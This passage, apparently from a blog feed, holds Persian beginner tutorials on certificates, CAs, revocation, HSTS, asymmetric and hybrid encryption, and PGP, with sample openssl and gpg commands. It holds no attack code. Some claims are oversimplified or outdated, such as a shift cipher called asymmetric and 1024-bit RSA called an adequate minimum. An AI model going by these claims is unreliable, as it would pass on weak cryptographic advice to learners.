کلید خصوصی رو دارید خودتون میتونید باز کنید و بقیه هرچقدرم ادعا کنن این کلید و مدرک برای منه نمیتونن پیام رو باز کنن چون کلید خصوصی تونو ندارنوقتی میخوایم Certificate بگیریم ، داریم از استاندارد x509 پیروی میکنیم ، پس اگر شنیدید x509 Certificate بدونید همونه و چیز خاصی نیست ، فرایند گرفتن مدرک اینطوریه :عکس 3توی عکس سه همونطور که شاهد هستید ما در یک طرف قضیه یه فردی رو داریم که میخواد احراز کنه ، یه فرم به نام فرد CSR یا تقاضانامه امضا دیجیتال پر میکنه و توش کلید عمومی شو میزاره و از طریق راه امن (راه امن رو توضیح میدم جلوتر) میرفته به CA ، بعد CA ازش میخواد هویتشو تایید کنه و احراز کنه ( این مرحله بشدت سخت گیرانس چون اگر راحت باشه هویت و اعتبار CA زیر سوال میره و اساسا کلا میپوکه و مردم بهش بی اعتماد میشن و دیگه هیچ) بعد که تایید شد در قالب ساختار x509 میاد کلید عمومی اون فرد رو میزاره و با کلید خصوصی خودش اون رو امضا میکنه و این رو تحویل فرد میده و طرف از این به بعد Certificate رو داره :)دوتا نکته بی ربط اما مهم :فرق بین امنیت پیام و راه امن چیه ؟ یه نکته رو من مختصر اینجا بگم و بهتون یه دید کامل بدم که جریان از چی قراره ، ببینید ما کلا دوتا مکانیزم کلی برای امن سازی داریم ، یا پیامو امن کنیم ، یا راه رو امن کنیم ، فرض کنید یه پادشاهی میخواد یه نامه ای بده به سربازش که ببره بده پادشاه دیگه ، دوتا کار باید بکنه ، یا نامه رو رمز کنه و بده سربازش که اگر سربازشو خفت کردن نامه لو نره ، یا نامه رو کاری نکنه ، و همراه سربازش 200 نفر بفرسته که از نامهه محافظت بکنن ، راه اولی میشه امن کردن پیام و دومی میشه تونل و راه امن ، کدوم بنظرتون بصرفه تره و هزینش کمتره ؟ 200 تا سربازو غذا بدی یا فقط یه سرباز؟ 200 تا اسب یا یک اسب؟ پس همیشه رمز کردن پیام بهتر از امن کردن راهه ولی ما توی کامپیوتر خیلی اوقات میاییم و راه رو امن میکنیم و برامون اونقدر کند نمیشه شرایطو ، الگریتم های وی پی ان از این دسته هستن ، کارشون Tunneling یا تونل زدنه ، میان و یه راه امن ایجاد میکنن و شما داخل اون هرچیی خواستی ردو بدل کن هیچ مهاجمی نمیتونه چیزی بفهمه ، ولی ما تو اکثر شرایط برامون چون نمیصرفه ، میاییم کلید رو یطوری میرسونیم به مخاطبمون و میگیم با این رمز کن و بفرستاین حالتی که گفتم ما به مخاطبمون میگیم کلید چیه (از طریق امن البته) و مخاطب کلید رو داره (متقارن یا نامتقارن فرق نداره ولی اکثرا متقارنه) و باهاش رمز میکنه پیام رو و میده به ما ، به این حالت میگن E2EE (End-To-End Encryption) و به این معنیه که رمزنگاری و رمزگشایی پیام فقط در مبدا و مقصد اتفاق می افته و در حین انتقال پیام هیچ گونه رمزنگاری/رمزگشایی ای روش انجام نمیشه !درواقع رمزنگاری پیام در شیوه سنتی و رایج اینطوریه که وسط انتقال حالا یه جایی رمز میشه(مثلا ممکنه پیام از دستگاه شما تا سرور فرستنده به صورت خام بره و اونجا رمزبشه) ولی اگر رمزنگاری E2EE باشه ، در بدو ارسال از دستگاه شما رمز میشه، و دیگه بازم نمیشه(دقت کنید، دیگه باز نمیشه) تا به مقصد برسه !یه نکته ریزم بگم که من هرجا گفتم SSL یا TLS یا HTTPS بدونید یه مفهومه ، فرق دارن ولی بعدا میرسیم بهش ..فرق بین RCA و ICA چیست ؟قبل اینکه مطلب رو ادامه بدم بیام و یه نکته رو کوتاه عرض کنم که امنیت کلید خصوصی خود CA برامون خیلی مهمه ، فرض کنید یه CA بیاد و مدرک میلیون ها سایت رو گردن بگیره ، حالا فرض کنید کلید خصوصی این CA لو بره و میلیون ها سایت امنیتشون به خطر میفته و میلیون ها Certificate باید Revoke بشن ، آمدن گفتن خب ما بیاییم چند تا CA اصلی یا مرکزی یا ریشه داشته باشیم (Root CA (RCA)) از اونور هر کدوم از این RCA ها به چند زیر شاخه تقسیم بشن و چندین CA هم بشن زیر شاخه این ها (Intermediate CA (ICA)) و اینطوری آمدن ریسک پخش شدن کلید رو کم کردن ، به این صورت که وقتی ما ICA های زیادی داشته باشیم که سایت ها از این ها مدرک میگیرن ، چون دیگه زیاد با کلید خصوصی RCA کار نداریم (جلوتر میگم چرا) و فقط با کلید خصوصی ICA ما ما امضا میکنیم ، قرار بر لو رفتن باشه کلید این ICA ها لو میره و حجم و محدوده خرابی مون خیلی کمتر میشهعکس4فرایند به این صورته ، همونطور که در مدرک هر سایت پیداس ، مثلا من این عکسو از SSL سایت چت جی پی تی برداشتم ، سایت که سومی باشه ، توسط یه ICA که کلودفلره امضا شده مدرکش و بالاترم RCA شو میبینیدسایت از ICA مدرک میگیره ، خود ICA یک امضا داره از RCA و RCA هم که شناسه و چیزی نیاز نداره ! پس وقتی ما به سایت ریکوئست میدیم ، چون میریم امضا ICA رو چک میکنیم و امضاشم وصله به RCA و ما هویت اون برامون روشنه پس سایتم اوکیه دیگه :)بررسی فرایند ساخت یه CSR در Openssl :قبل از هرچیزی بگم که این فرایند کلا جداست از بحثی که یادگرفتیم ، فقط یکم دست به کیبرد میزنیم که ببینیم چیزایی که یادگرفتیم چقدر فرق داره با دنیای واقعی :hpn# openssl req -new -newkey rsa:2048
..+.+..+.+..............+.................................+..........+..............+...+...+....+...+...........+....+..+.+...+...........+++++++++++++++++++++++++++++++
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
Country Name (2 letter code) [AU]:IR
State or Province Name (full name) [Some-State]:ARAK
Locality Name (eg, city) []:MALEK
Organization Name (eg, company) [Internet Widgits Pty Ltd]:Mohammad Hassan
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:Qholi
Email Address []:ermac@null.net

-----BEGIN CERTIFICATE REQUEST-----MIICuzCCAaMCAQAwdjELMAkGA1UEBhMCSVIxDTALBgNVBAgMBEFSQUsxDjAMBgNV
eMZM/FoIlPoapR1rBDCvrycx0OKKzjhwpfuQmYE/Kq6q4k9RmJ7nc6wbiHEaoQHA
csTnJkRHBYosPBhiOddsQwwfaZsSC/6Yk0RFQyks3e1FEsxhH7mvlX3kcSx3QpaY
q15cw9K/FDVFugnJj9K1ctc5w9IZ8XlVqPc+o+8C+Q==
-----END CERTIFICATE REQUEST-----اولش ما میگیم یه req یا csr میخوایم بسازیم که جدیده ، با کلید جدید از این نوع ، یه پسورد میخواد که از این CSR محافظت کنه ، بعد اطلاعات از ما میگیره و در نهایت یه متن base64 میده که ما باید بفرستیم برای CA و ادامه کار ..Digital Certificate Revoking :امنیت مدارک کاملا وابسطه به کلید خصوصی ایه که ما کلید عمومی نظیرشو استفاده داخل مدرک استفاده کردیم ، اگر کلید خصوصی به خطر بیفته باید مدرک رو منقضی کنیم یا Revoke کنیم، تا بعدا باهاش جعل نشهدوتا روش هست برای Revoke کردن که توسط CA ارائه میشه (یکیش منسوخ شده البته):CRL (Certificate Revocation List) : یه لیست میسازه از مدارک باطل شده و هرکی هر گواهی نامه ای رو میخواد چک کنه باید بره توی این لیست بگرده ببینه هست یا نه ، اگر بود یعنی اون گواهینامه معتبر نیست ، اگر نبود یعنی معتبره ، مسخرس نه ؟ مثل WOTOCSP (Online Certificate Status Protocol) : یک پروتوکوله یا سرویسیه که کاربر ها میتونن از طریق اون بپرسن که آیا این گواهی نامه معتبره یا نهنکته : درواقع OCSP همون CRL عه ولی اینبار خود CA پشت صحنه انجام میده کارشو و نیاز نیست کاربر کاری کنه ، تازه کاربر هم نمیخواد کاری کنه و مرورگر وظیفه داره OCSP رو چک کنه ! (البته مروگر گوگل کروم سیاست و روش خودشو برای این کار داره که از سایر مرورگر ها جداست ولی خب مهم نیست اونقدارم :) )این مدارک بعدا تحت عنوان SSL-TLS-HTTPS هم برای وبسایت ها میتونه استفاده بشه که شما وقتی یه سایتو باز میکنی مطمئن بشی سایت معتبره یا نه ، و از کلید عمومی ای که توی مدرک داره برای رمزگذاری پیام بین خودتون و مقصد استفاده کنید و ارتباط رو امن کنید ، توی یه مقاله جدا بررسیش میکنم ولی کلا کانسپتش همینهالان اگر برگردید به مطلب امضای دیجیتالی که نوشتم بالای صفحه میفهمید وقتی میگم Message ای که امضا میشه در SSL خود محتوای مدرکه یعنی چیعکس 5دقت کنید به عکس سمت چپ ، یه مدرک ssl هست که ما در سمت وب استفاده میکنیم ، نوشته lets encrypt امضاش کرده برای ویرگول ، هششم اینه و مدت انقضاشم اینهسمت راست یه برنامه هست توی مجموعه ویندوز اینترنالز به اسم Process Monitor ، دقت کنید که من Properties گرفتم رفتم سربرگ امضا دیجیتال و دیدم که بله ماکروسافت امضاش کرده ، حالا یه نکته ای ، چرا ماکروسافت امضاش کرده ؟ اگر این برنامه رسید به سیستم عامل ، سیستم عامل بدونه که از سمت ماکروسافته و مخرب نیست ، پس ویندوز به Sign ماکروسافت حساسه مخصوصا برای درایور ها چون خیلی حساسن، مکانیزم های امنیتیم به درایوری که Sign ماکروسافت باشه کاری ندارن ، حالااااا فکر کنید یکی ماکروسافتو بزنه و کلید خصوصیشو برداره و بیاد بدافزار خودشو بنویسه و بد افزار خودشو Sign کنه و به یه جا حمله کنه ، تمومه دیگه نه ؟ رسما کل مکانیزم های امنیتی و همه رو دور زده :) خبرو بخونید :https://uk.pcmag.com/security/139354/hacking-group-starts-dumping-files-allegedly-stolen-from-microsofthttps://onhexgroup.ir/microsoft-storm-0558-private-key/این اتفاق برای خیلی از شرکتا افتاده ، اگر یه شرکت سازنده سخت افزار کامپیوتریم باشه و درایورش لو بره مثل Intel یا MSI یا ASUS هرچی ، اونم همچین چیزی میشه ، این لینک و این لینک هم ببینید که کلید گیت هابم در رفته (منتها اشتباه کارکنانش بوده)نکته خیلــــــــی مهم : امضای دیجیتال مفهومش توی وب و ویندوز و بقیه جاها یکیه ولی نوع فایل امضا فرق داره ، مثلا مال ویندوز pfx و.. عه و با مال وب فرق داره !یک سری نکات تکمیلی :1. بحث مدرک برای هانتر های عزیز خیلی مهمه از اونجایی که میتونن Subdomain Discovery و... بکنن و توی هانت خیلی کمکشون میکنه2. آیا میتونه یه نفر خود برای خودش مدرک بزنه ؟ آره ولی خب اعتباری نداره چون خودش امضا میکنه و موقع اعتبار سنجی به هیچ جا وصل نیست پس تایید نمیشه3. مدرک در حوزه وب (SSL-TLS-HTTPS) فقط برای دامین صادر میشه نه آیپی ، چرا؟ چون آیپی متغییره و دامین ثابته و نمیشه تضمین کرد که رنج های مختلف آیپی برای همون شرکت باقی بمونن و اصلا توی بحث Revoke شم شرکت های با مشکل مواجه میشن بعد یه مدتی !4. مدرک توی حوزه وب (SSL-TLS-HTTPS) فقط برای احراز سروره ولی میتونیم ازش برای احراز کلاینت هم استفاده کنیم ، اگر بحث شبکه و وی پی ان زدن به درون یک سازمان رو مطرح کنیم ، ما وقتی به سرور وی پی ان میزنیم با Certificate اش صحت سرور رو احراز میکنیم و وقت کلاینت که ما باشیم Certificate داشته باشیم ، سرور هم میتونه مارو اعتبار سنجی کنه !5. ما دوتا نکته داریم تحت عنوان Preloaded List و HSTS به صورت خلاصه بگم :یه سری حملات ماروی SSL-TLS-HTTPS داریم و برای جلوگیری از این حملات آمدن دوتا مکانیزم امنیتی گذاشتن :HSTS :ما یه حمله داریم به اسم sslstrip که زیاد مهم نیست فقط بدونید که این حمله تو دسته حملات شبکس و اینطوریه که مهاجم وایمیسه تا شما به یه سایت که HTTPS داره درخواست بزنید ، درخواست شمارو ریدایرکت میکنه به نحوی که در پاسخ به شما HTTP برگرده ولی شما فکر کنید که دارید با HTTPS کار میکنید (تکنیک قدیمی ایه و از کار افتاده) و برای جلوگیری از این حمله آمدن یه مکانیزم توی سایت گذاشتن به نام HSTS که سایت تحت هیچ عنوان با HTTP لود نشه و فقط با HTTPS لود بشه ، اصطلاحا جلوی Protocol Downgrading یا تنزیل پروتوکول رو گرفتن و اینطوری این حمله جلوش بسته شد ، ولــــــیPreloaded List :حمله ای که بالا گفتم در یه صورت باز عمل میکرد ، و اونم درصورتیه که شما برای اولین بار یه سایتی رو باز کنید توی مرورگرتون ، مثلا گوگل یا فیس بوک رو برای اولین بار باز کنید ، اونطوری امکان اجرای این حمله بود ، آمدن گفتن خب ما چیکار کنیم ؟ آمدن توی مرورگر ها لیست سایت هایی که پیشفرض HTTPS روشون فعاله و باید با HTTPS بازش کنن رو گذاشتن و گفتن حتما این سایت هارو با HTTPS باز کنید ، و اینطوری جلوی این حمله به خیلی از سایت های مطرح گرفته شد ، ولی خب به طبع همه سایتا تو این لیست نیستن دیگه :)دقت کنید که تکینک های مختلفی برای بایپس HSTS هست و اونم در صورتیه که شما لینک رو اشتباه تایپ کنید ، اگر اشتباه تایپ کنید و سایت بالا بیاد صد در صد مهاجم اون وسط نشسته یا اینکه ISP یه کارایی میکنه که بعیده :)لیست Preloaded های مرورگر کروم و فایرفاکسدر مطلب بعدی سراغ بحث بکدور در رمزنگاری و مباحث رمزنگاری سخت افزاری و.. میریم ، هر سوال یا انتقادی بود در خدمتم ، یاعلی</description>
                <category>رمزنگاری مقدماتی به زبان ساده</category>
                <author>محمد حسن پزشکیان</author>
                <pubDate>Mon, 14 Aug 2023 01:15:52 +0330</pubDate>
            </item>
                    <item>
                <title>رمزنگاری مقدماتی : رمزنگاری نامتقارن یا Asymmetric Encryption</title>
                <link>https://virgool.io/b-crypto/crypto6-dpovptzq9n1y</link>
                <description>   رمزنگاری مقدماتی به زبان ساده : رمزنگاری نا متقارن یا  کلید عمومی یا Asymmetric Encryptionدر این مطلب میخوایم به بررسی نحوه کارکرد الگریتم نامتقارن بپردازیم ، در رمزنگاری متقارن که باهم در مطلب قبل کار کردیم ما از یه کلید برای رمزنگاری و رمزگشایی استفاده میکردیم ، عین کلید در خونه که هم باهاش میشه درو قفل کرد هم در رو باز کرد ، ولی اینبار ما میخوایم از یه الگریتمی استفاده کنیم که از دوتا کلید مجزا استفاده میکنه ، یه کلید میتونه صرفا رمزکنه و کلید دوم میتونه باز کنه چرا رمزنگاری نامتقارن ؟قبل اینکه بررسی کنیم رمزنگاری نامتقارن چی هست ، اول بیایید ببینیم چه مشکلی ما تو رمزنگاری متقارن داشتیم که آمدن به فکر ساخت رمزنگاری نامتقارن افتادن عکس 1فرض کنید ما میخوایم بین آلیس و باب یک مکالمه محرمانه داشته باشیم ، پس به یک کلید برای این دو نیاز داریم ، اگر بین آلیس و چارلی هم بخوایم مکالمه داشته باشیم باز یه کلید دیگه نیاز داریم ، و چالی و باب هم کلید خودشونو میخوان ، خب اینطوری شد 3 تا کلید ، ولــــــــی ما یه فرمول ریاضی داریم برای محاسبه تعداد افراد و تعداد کلید های خصوصی بینشون ، اگر خواستید توی کامنت بپرسید تا براتون توضیحش بدم ولی همینقدر بدونید که ما برای 3 نفر ادم 3 کلید خصوصی میخوایم ، اگر تعداد بشه 100 نفر ما 5000 کلید خصوصی میخوایم و اگر تعداد بشه  ده هزار نفر ما 50 میلیون کلید خصوصی میخوایم ، واقعا منطقی نیست !!سر همین آمدن گفتن ما بیاییم و الگریتمی بسازیم که دوتا کلید جفت (Pair Key) تولید کنه و این کلید ها ، یکیش برای عموم باشه و دیگری برای خود فرد باشه و محرمانه پیش خودش نگه داره ، قبل توضیحش بزارید یه مثال ساده بزنم :مثال : فرض کنید ما کل 26 حرف زبان انگلیسی رو داریم و میخوایم متن hello رو با الگریتم نا متقارن رمز کنیم ،(فرض کنید ما فقط حروف کوچیک داریم ، حروف بزرگ ، عدد یا علامت نداریم اصلا)  ما میاییم و یه کلید برای رمزگشایی میسازیم و این کلید اینطوریه که 6 حرف جلوترشو انتخاب میکنه (فرض کنید برگشت نداره و الگریتم فقط روبه جلوعه) اینطوری اگر حساب کنید ما hello رو اگر هر حرفشو 6 تا ببریم جلو ، میشه nkruu ، حالا برای رمزگشایی ما کلیدی میسازیم که 20 تا حرف ببره جلو ، طبیعتا وقتی میرسه به انتها دوباره از اول شروع میکنه و میرسه به حرف مد نظر ، و اینطوری ما رمزگشایی میکنیم پیام رو (عکس2)عکس 2عکس 3یک نکته مهم توی بحث الگریتم های نامقارن اینه که ما دوتا کلید داریم ، ولی هردوشون هم میتونن برای رمز کردن استفاده شن هم برای رمز گشایی ، مثلا دقت کنید ما اگر کلید رمزنگاری مون رو بکنیم 20 ، با کلید 6 هم میتونیم رمزگشاییش کنیم !نکته : هر دو کلید مکمل هم عمل میکنن و به تنهایی نمیتونن هم رمز بکنن هم رمزگشایی ، ببینید ما دوتا کلید داریم که یکیش پیش خودمونه و دیگری در دسترس عموم قرار گرفته ، کلیدی که پیش ماست کلید خصوصیه و کلیدی که دست مردمه کلید عمومیه ، فرق نداره کدوم پیش ما باشه یا کدوم دست مردم ، و فرق نداره با کدوم رمز میکنیم چون باید با اون یکی حتما باز کنیم و بلعکس ، اگر ما با کلید خصوصی خودمون رمز کنیم ، فقط با کلید عمومی میتونیم بازش کنیم ، و اگر با کلید عمومی یه چیزیو رمز کنیم فقط با کلید خصوصی خودمون میتونیم بازش کنیمحالا شاید براتون سوال شده باشه که یعنی چی یه کلید دست مردمه و یه کلید برای خودمون ؟ ما در روش کلید عمومی یا همون رمزنگاری نامتقارن خودمون ، برای حل مشکل عکس 1 گفتیم ما میاییم یه جفت کلید برای هر کسی طراحی میکنیم ، و یکی از اون کلید هارو برای خودش میزاریم ، یکی از اون کلید هارو برای مردم ، اینطوری دیگه نیاز نیست به تعداد افرادی که میخوان ارتباط بگیرن کلید داشته باشیم ، بلفرض اگر محمد کلید عمومیشو در اختیار همه قرار بده ، علی و حسن و حسین با کلید عمومی محمد براش نامه مینویسن و وقتی براش میفرستن فقط اون میتونه بخونه چون کلید خصوصی رو فقط خودش دارهکاربرد ها و ویژگی های رمزنگاری نامتقارن چیست؟ رمزنگاری نامتقارن یا رمزنگاری کلید عمومی یه روشیه که ما از دوتا کلید استفاده میکنیم ، همونطور که بالا توضیح دادم ، و اما ویژگی هاش : نکته اول : ما در این روش دوتا کلید داریم که هردو جفت و مکمل همدیگه هستننکته دوم : این کلید ها به صورت ریاضی به هم دیگه متصل شدن و ارتباط دارن هدف اولی که ما توی رمزنگاری داشتیم و توی بحث رمزنگاری نامتقارن هم داریم بحث Confidentiality یا محرمانگی هست :عکس 4فرض کنید توی عکس 4 ، فرد سمت راست که عکسش آبیه اسمش زهراس و چپ که عکسش سبزه علیه ، هر کدوم کلید خصوصی و عمومی خودشونو دارن ، کلید خصوصی هرکی بالا سرشه و کلید عمومیشم پایینش ، حالا این کلید عمومی رو به طبع هم خودش داره هم طرف مقابل ، و فرض کنید زهرا خانم میخواد برای علی نامه بنویسه ، میاد و با کلید عمومی علی پیامش رو رمز میکنه و میده علی ، علی هم با کلید خصوصیش پیام رو رمزگشایی میکنه عکس 5هدف بعدی ما Integrity و Non-Repudiationهست : فرض کنید علی با کلید خصوصی خودش یک پیام رو رمز میکنه و میفرسته به زهرا (دقت کنید که اگر با کلید عمومیش رمز کنه دیگه کسی نمیتونه بازش کنه !) وقتی زهرا پیام رو میگیره سعی میکنه با کلید عمومی علی بازش کنه ، اگر نتونه بازش کنه یعنی این وسط یا پیام عوض شده (Integrity نقض شده) ، یا پیام از سمت علی نیامده (Non-Repudiation) و اگر پیام با موفقیت باز بشه یعنی پیام از سمت علی آمده (Non-Repudiation) و صحت پیام برقراره (Integrity)مضایا و معایت رمزنگاری نامتقارن :مضایا : امنیتش خیلی بیشتره از این جهت که کلید خصوصی هیچوقت لیک نمیشه و پیش مخاطب خودش امن محفوظه و ردو بدل کردن کلید(key exchange) خطری نداره (این مورد رو جلوتر بهش میرسیم) معایب : کلید بزرگ تری میخواد (طول کلید معمولی برای یک کلید رمزنگاری نامتقارن 2048 بیته ?)پردازش ریاضی سخت تری داره و مقدار مصرف CPU بیشتری داره (یکی از دلایلش همین کلید بزرگتریه که میخواد)طول Cipher Text خروجی بیشتر از ورودیه (مناسب Bulk Data Transfer) نیست (یعنی اصلا مناسب رمزکردن دیتاهای بزرگ نیست) با سه تا از الگریتم های رمزنگاری نامتقارن آشنا بشید که در ادامه مفصل دربارش صحبت میکنیم : RSA - DH - DSA - GPG - PGPنکته : قبل ادامه دادن بگم که ما سه تا واژه داریم ، nonce - seed - IV که این سه تا رو من مفصل تو سری پیشرفته بررسی میکنم ولی همینقدر بدونید که این سه تا مثل Salt یه رشته عبارت رندوم هستن که میان و خروجی یا همون Cipher Text مارو رندوم میکنن و باعث میشن امن تر بشه ، حالا اینکه چه تفاوتی باهم دارن و کجا استفاده میشن رو بزارید سر جاش بهتون میگمرمزنگاری ترکیبی یا Hybrid Encryption : یه بار قبل شروع بیایید مرور کنیم ببینیم نقاط قوت و ضعف الگریتم های متقارن و نامتقارن چی بودن ؟الگریتم های متقارن طول خروجی رو افزایش نمیدادن و سرعتشون بالا بود ولی مشکل اشتراک کلید به روش In Band رو داشتیم، تو نامتقارن ما مشکل اشتراک گذاری کلید رو حل کردیم ولی سرعتش پایینه و طول خروجی رو افزایش میده ، راه حل ما چیه ؟ بیاییم و یه کانال یا راه ارتباطی امن در نظر بگیریم که با الگریتم نامتقارن میسازیم و توش کلید های متقارن رو ردو بدل کنیم و بعدش از کلید های متقارن استفاده کنیم وقتی میگیم Hybrid یعنی ترکیبی ، یعنی ما هم از متقارن استفاده میکنیم هم نامتقارن عکس 6سناریو اینطوریه که زهرا ما هم کلید عمومی و خصوصی خودشو داره و هم کلید عمومی علی رو ، میاد و یه کلید متقارن میسازه که رنگش رو بنفش کشیدم ، بعد میاد این کلید بنفس رو با کلید عمومی علی رمز میکنه و میفرسته به علی و علی با کلید خصوصی خودش باز میکنه ، و حالا جفتشون کلید متقارن رو دارن حالا این ها سناریو بود ولی اصل چیزی که اتفاق می افته اینه که ما اول یه کانال ارتباطی امن با الگریتم نامتقارن میسازیم و توش با اون طرف سر SEED میاییم و توافق میکنیم ، یعنی زهرا و علی از طریق کانال ارتباطی شون سر SEED ای که باید توافق میکنن و جفتشون باتوجه به اون SEED میان و کلید متقارن رو میسازن (بالاتر گفتم که SEED یه عبارت / رشته رندومه) چرا تبادل کلید برای ما مهمه ؟عکس 7اگر ما کلید متقارن رو همینطوری تو اینترنت بفرستیم برای مخاطبمون ، اگر این وسط مهاجمی باشه و دیتا رو شنود کنه میتونه جلوی ارسال پیام رو بگیره و کلید فیک خودشو بده و پیام های مارو بعدا بشنوه ، به این حمله میگن MITM یا مردی در میان ( اصل این حمله برای پیامیه که میفرستید ، ولی برای کلید هم صدق میکنه)اگر یادتون باشه گفتم کلید رو ما به دو طریق میتونیم به طرف مقابل بدیم ، یکی In Band و دیگری OOB هست ، در روش In Band هست که ما مستقیم با طرف ارتباط میگیریم و ممکنه MITM پیش بیاد ، حالا ما میاییم بجاش از RSA و Diffie-Hellman استفاده میکنیم که مبتنی بر کلید نامتقارن ساخته شدن و راحت کلید رو جابجا میکنیم و مهاجم هیـــــــــــچ غلطی نمیتونه بکنه :)نکته : از لحاظ علمی گفتم بهتون که ما کلید رو جابجا نمیکنیم ! ما فقط سر SEED باهم به توافق میرسیم و از روی اون کلید رو میسازیم ، درواقع بهتر بود بیان کنم ما SEED رو جابجا میکنیم ، ولی چون از SEED میرسیم به کلید متقارن دیگه من گفتم کلید رو جابجا میکنیم ;)عکس 81. RSA: جابجایی کلید از طریق نامتقارن رو قبلا توضیح دادم ولی اینجا علمی ترشو میگم ، یکی از طرفین SEED میسازه ، مثلا سمت راستی که زهرا قصه ماست ، بعد با کلید عمومی علی رمزش میکنه و میفرسته برای علی ، علی هم با کلید خصوصی خودش باز میکنه و به SEED میرسه ، جفتی از روی این SEED میان و کلید متقارن میسازن که خیلی سادست و در نهایت با اون باهم ارتباط میگیرناینجا ما از SEED میتونی هرچند تا کلید خواستیم بسازیم ، مثلا یه کلید برای رمزپیام ، یه کلید برای HMAC و..ولی یه مشکلی هنوز پابرجاست ، از کجا مطمئن بشیم طرف مقابلمون همونیه که هست ؟ زهرا از کجا بفهمه کلید عمومی علی که دستشه واقعا برای علیه ؟ این مشکل رو ما با Certificate حل میکنیم که در مطلب بعدی بهش میرسیم2. DH (Diffie-Hellman) : این روش ما میاییم یه استرینگ یا مقدار برای شروع در نظر میگیریم و سرش توافق میکنیم و نکته جالبش اینه که ما میتونیم این کارو توی یه جای نا امن بکنیم ، یعنی مهاجمم میتونه باشه و شنود کنه و فرقی برامون نداره :) بعد میایم یه حرکاتی میزنیم و در نهایت میرسیم به SEED ولی چطوری ؟  قبل هر چیز بگم که الان من مثال رنگ میزنم ولی اثبات ریاضی ساده ای داره که تو سری پیشرفته میگم بهتون :عکس 9در ابتدا آلیس و الکس یه رنگ مشترک انتخاب میکنن (من مثال عددیم میزنیم که درک کنید) مثلا رنگ زرد یا عدد 5 ، حالا جفتی میان برای خودشون یه رنگ دلخواه هم انتخاب میکنن ، مثلا الکس نارنجی و 4 و آلیس ابی فیروزه ای و 6 ، حالا میان این دوتارو ترکیب میکنن و در نهایت به یه خروجی ای میرسن یکی کرم و 9 و دیگری ابی و 11 ، این خروجی رو دوباره توی کانال ارتباطی نا امن به اشتراک میگذارند ، و هردو بعد گرفتن این مقادیر با رنگ های خصوصیشون قاطیش میکنن و میرسن به یک رنگ مشترک که قهوه ایه و عدد 15 و درواقع همون SEED ما هستنکته : مهاجم چه رنگ/اعدادی رو شنود کرده ؟ رنگ زرد/5 رنگ کرم/9 و رنگ آبی/11 ولی چون نمیدونه رنگ/اعداد نارنجی/4 و آبی فیروزه ای/6 رو ، هیچ کاری نمیتونه بکنه ?نکته : یکی از مشکلاتی که شاید تاحالا متوجه شده باشید که هم RSA داشت و الان باید خدمتتون عرض کنم که DH هم داره اینه که از کجا مطمئن بشیم طرف مقابلمون اون کسیه که ادعا میکنه ؟ شاید نباشه ?نکته : برای الگریتم RSA حملاتی کشف شده ، ولی بدونید که حداقل کلید توصیه شده 1024 بیته و زیر اون ممکنه کرک بشه ! نکته : یه ورژن دیگه از DH و همچنین RSA و DSA که جلوتر بررسی میکنم هست که ما بجای رمزنگاری معمولی از رمزنگاری منحنی بیضوی استفاده میکنیم و ترکیبش میکنیم با DH یا RSA و اینطوری امنیت این هارو از جهت کرک افزایش میدیم که در اخر سری مقدماتی بهش میپردازیم 3. PGP : این هم سومین الگریتم نامتقارنیه که باهم بررسی میکنیم عکس 10علی میاد و یه کلید متقارن میسازه (کلید نارنجی) ، یه پیام هم داره (زرد)، پیام رو با کلید متقارن رمز میکنه (پیام نارنجی) و بعد کلید متقارنش هم با کلید عمومی زهرا رمز میکنه (کلید نارنجی آبی) بعد این دوتارو میکنه در قالب یه پیام و با کلید عمومی زهرا رمزش میکنه (پیام ابیه) و میره دست زهرا ، زهرا وقتی پیام رو باز میکنه با کلید خصوصیش به کلید رمز شده میرسه و متن رمز شده ، اول کلید رمز شده رو رمزگشایی میکنه و با کلید متقارنی ک بدست میاره پیام رو رمزگشایی میکنه برای PGP ما هم نسخه رایگان داریم تحت عنوان GnuPGP هم تجاری تحت عنوان PGP Commercial نکته : PGP خودش یک الگریتم رمزنگاری نیست ، یک فریم ورکه درواقع برای استفاده از سایر الگریتم ها ، درواقع پشت صحنه داره از الگریتم های متقارن و نا متقارن استفاده میشه ( الگریتم هایی که PGP ازشون استفاده میکنه : RSA, DSS, Diffie-Hellman - 3DES, IDEA, CAST-128 - SHA-1-ZIP)بریم یکم عملی کار کنیم (هرچند نسخه های گرافیکی هست ولی ما میریم سراغ  CLI ) : zahra# gpg --gen-key
Real name: zahra
Email address: zahra@mail.com
gpg: /root/.gnupg/trustdb.gpg: trustdb created
gpg: key 88B6A433038B93B6 marked as ultimately trusted
gpg: directory &#039;/root/.gnupg/openpgp-revocs.d&#039; created
gpg: revocation certificate stored as &#039;/root/.gnupg/openpgp-revocs.d/246BDFF3DC0C2EFD28EC0F9F88B6A433038B93B6.rev&#039;
pub   rsa3072 2023-08-11 [SC] [expires: 2025-08-10]      246BDFF3DC0C2EFD28EC0F9F88B6A433038B93B6
uid                      zahra &lt;zahra@mail.com&gt;
sub   rsa3072 2023-08-11 [E] [expires: 2025-08-10]ما دستور خط اول رو زدیم و اسم و ایمیل دادیم و رمز رو ازمون خواست و دادیم و برامون کلید pgp رو ساخت ، دقت کنید که میتونید در حالت کاستوم با آپشن سایز کلید رو عوض کنید یا حتی بگید کلید کی منقضی بشه یا اصلا بشه یا نشه ، ولی ما با پیشفرض خودش رفتیم جلو همین کارم برای علی میکنیم : ali# gpg --gen-key
Real name: aliali
Email address: ali@mail.com
gpg: /home/hpn/.gnupg/trustdb.gpg: trustdb created
gpg: key 3B4BEAEBC138BEFB marked as ultimately trusted
gpg: directory &#039;/home/hpn/.gnupg/openpgp-revocs.d&#039; created
gpg: revocation certificate stored as &#039;/home/hpn/.gnupg/openpgp-revocs.d/3D5579BE82D075E695A6AD5A3B4BEAEBC138BEFB.rev&#039;public and secret key created and signed.
pub   rsa3072 2023-08-11 [SC] [expires: 2025-08-10]
3D5579BE82D075E695A6AD5A3B4BEAEBC138BEFB
uid                      aliali &lt;ali@mail.com&gt;
sub   rsa3072 2023-08-11 [E] [expires: 2025-08-10]
بریم کلید رو خروجی بگیریم : zahra# gpg --armor --export zahra@mail.com
-----BEGIN PGP PUBLIC KEY BLOCK-----mQGNBGTWqPEBDADX+HZrbwF9SzLqPE/itZwtE0CiwYqzvajJ2d4
vT7OncGateIHl8L6H0fQhHOOr4LixnMfgunKDfHE+kqI9RVmciz4CRCTLsh0d8IKok0ATMOHYq
bT03mfLCnpAuHmqnQROk6ESEwDg0bMj0OCQ+HH6yj5OxeNYSGeEimieDslfBNAnvjuM0UaGDEQuh4s564Ms==P7i8
